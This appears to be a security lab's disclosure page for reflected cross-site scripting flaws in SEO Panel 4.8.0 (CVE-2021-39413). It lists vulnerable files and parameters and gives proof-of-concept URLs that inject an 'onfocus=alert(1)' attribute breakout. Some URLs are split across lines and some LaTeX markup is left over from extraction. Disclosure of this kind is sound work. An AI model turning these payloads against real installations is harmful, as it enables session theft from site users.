

Systems and Internet Security Lab

Systems and Internet Security Lab Projects CHESS Cross site scripting in SEO Panel v4.8.0

Cross site scripting in SEO Panel v4.8.0

Multiple cross-site scripting vulnerabilities are present in SEO Panel 4.8.0. The following is detailed information about these vulnerabilities:

file: backlinks.php

line: 82

parameter: to time

exploit: http://localhost/Seo-Panel/backlinks.php?fromPopUp=1&from_time=2021-03-02&rep=1&sec=reports&to_time=2021-03-02&re

17%22autofocus%20onfocus=alert(1)%20//%22&website_id=1 [http://localhost/Seo-Panel/backlinks.php?fromPopUp=1&from_time=2021-03-02&rep=1&sec=reports&to_time=202

17%22autofocus%20onfocus=alert(1)%20//%22&website_id=1]

Similar vulnerabilities are found in other PHP files through to _time: analytics.php, log.php, overview.php, pagespeed.php, rank.php, review.php, saturationchecker.php, social_media.php, reports.php.

The following parameters are vulnerable in similar way in corresponding files:

Parameter: from time

Files: backlinks.php, analytics.php, log.php, overview.php, pagespeed.php, rank.php, review.php, saturationchecker.php, social_media.php, webmaster-tools.php, reports.php

file: analytics.php

line: 45

parameter; order col

exploit: http://localhost/Seo-Panel/analytics.php?from_time=2021-03-

18&order_col=url%22autofocus%20onfocus=alert(1)%20//%22&order_val=DESC&report_type=1&search_name=&sec=viewAnalyticsSummary&to_time=2021-03-

19&type=&website_id=http://www.example.com [http://localhost/Seo-Panel/analytics.php?from_time=2021-03-

18&order_col=url%22autofocus%20onfocus=alert(1)%20//%22&order_val=DESC&report_type=1&search_name=&sec=viewAnalyticsSummary&to_time=2021-03-19&type=&website_id=http://www.example.com]

Parameter: order_col

Files: analytics.php, review.php, social_media.php, webmaster-tools.php

Parameter: pageno

Files: alerts.php, log.php, keywords.php, proxy.php, searchengine.php, site auditor.php

 $Above vulnerabilities are published at \underline{\text{CVE-}2021-39413}[\text{https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-}2021-39413]$

This vulnerability was detected as part of the <u>DARPA CHESS program[</u>https://www.darpa.mil/program/computers-and-humans-exploring-software-security]

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